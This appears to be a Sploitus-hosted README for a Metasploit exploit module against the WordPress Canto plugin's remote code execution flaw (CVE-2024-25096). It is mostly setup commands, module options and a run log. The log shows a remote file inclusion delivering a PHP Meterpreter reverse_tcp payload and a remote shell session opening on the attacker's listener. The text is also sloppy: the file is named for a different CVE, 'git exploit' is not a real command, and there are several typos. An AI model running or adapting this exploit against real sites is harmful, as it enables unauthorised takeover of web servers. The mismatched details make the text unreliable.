Share
## https://sploitus.com/exploit?id=E7613C31-BA12-5A66-B3CC-A7ADFB588EE2
# Metersploit exploit module canto RCE CVE-2024-25096

This is a PoC exploit of the Canto RCE CVE-2024-25096 for Metasploit.

## Usage

Download the exploit and add it to the metasploit module folder.
Reload Metasploit and select the payload.

```bash
git exploit
cp explit/rce_exploit_cve_2023_3452.rb ~/.msf4/modules/exploits/
msfconsole
reload_all
search rce_exploit_cve_2023_3452
use 0
```
set the values of the required variables

```bash
Module options (exploit/rce_exploit_cve_2023_3452):

   Name        Current Setting            Required  Description
   ----        ---------------            --------  -----------
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, socks5h
   RHOSTS      192.168.0.3                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       8080                       yes       Port
   SRVHOST     0.0.0.0                    yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT     9998                       yes       The local port to listen on.
   SSL         false                      yes       Use SSL
   SSLCert                                no        Path to a custom SSL certificate (default is randomly generated)
   TARGETFILE  get.php                    yes       Vulnerable PHP file
   TARGETURI   /wp-content/plugins/canto  yes       Path to cantos root directory
   URIPATH                                no        The URI to use for this exploit (default is random)
   VHOST                                  no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.2   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wordpress cantp plugin > run
[*] Started reverse TCP handler on 192.168.0.2:4444 
[*] Starting HTTP server...
[*] Using URL: http://192.168.0.2:9998/Rj5Nh2b
[*] Triggering RFI...
[*] 192.168.0.3   my_expi - Sending admin.php payload
[*] Sending stage (42137 bytes) to 192.168.0.3
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.3:42234) at 2026-02-28 23:40:27 +0100
```